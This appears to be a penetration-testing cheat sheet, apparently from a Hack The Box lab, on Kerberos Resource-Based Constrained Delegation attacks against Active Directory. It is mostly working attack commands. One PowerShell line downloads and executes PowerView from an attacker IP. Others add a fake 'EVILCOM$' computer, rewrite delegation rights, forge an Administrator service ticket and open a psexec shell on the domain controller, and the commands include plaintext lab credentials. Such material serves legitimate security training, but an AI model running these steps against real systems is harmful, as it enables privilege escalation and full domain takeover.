Resource Based Constrained Delegation

Rbcd-Attack - Kerberos Resource-Based Constrained Delegation Attack From Outside Using ImpacketHakin9 - IT Security Magazine

In a nutshell, through a Resource Based Constrained Delegation attack we can add a computer under our control to the domain.

The attack relies on three prerequisites:

• We need a shell or code execution as a domain user that belongs to the Authenticated Users group. By default any member of this group can add up to 10 computers to the domain.

• The ms-ds-machineaccountquota attribute needs to be higher than 0. This attribute controls the amount of computers that authenticated domain users can add to the domain.

• A user or a group is a member of, needs to have WRITE privileges ( GenericAll , WriteDACL) over a domain joined computer (in this case the Domain Controller)

Linux based Attack Commands

Enumeration

# Check if MS-ds-machineaccountquota has more than 0
# If the output of the command below shows that this attribute is set to 10, this means each authenticated domain user can add up to 10 computers to the domain.

PS> Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

# Verify that the msds-allowedtoactonbehalfofotheridentity attribute is empty. 

PS> iex (new-Object Net.WebClient).DownloadString('http://10.10.14.36/privesc/PowerView.ps1')|Import-Module PowerView.ps1

PS> Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity

# The following output shows that the value is empty. Now it is ready to attack. 

Exploitation

1. Download the tool. https://github.com/tothi/rbcd-attack/blob/master/rbcd.py

2. Creating a fake computer

# Kali
addcomputer.py -computer-name 'EVILCOM$' -computer-pass password -dc-ip $RHOST support/support:Ironside47pleasure40Watchful

3. Modifying delegation rights

Implemented the script rbcd.py found here in the repo which adds the related security descriptor of the newly created EVILCOMPUTER to the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer.

# Use the rbcd.py downloaded above 
./rbcd.py  -f EVILCOM -t DC -dc-ip $RHOST support\\support:Ironside47pleasure40Watchful

4. Getting Impersonated Service Ticket

# Kali 
impacket-getST -spn cifs/DC.support.htb -impersonate Administrator -dc-ip $RHOST support/EVILCOM$:password

5. Injecting Ticket into memory

# Kali
export KRB5CCNAME=./Administrator.ccache
Klist

6. Running PSEXEC command.

# Kali
 impacket-psexec -k DC.support.htb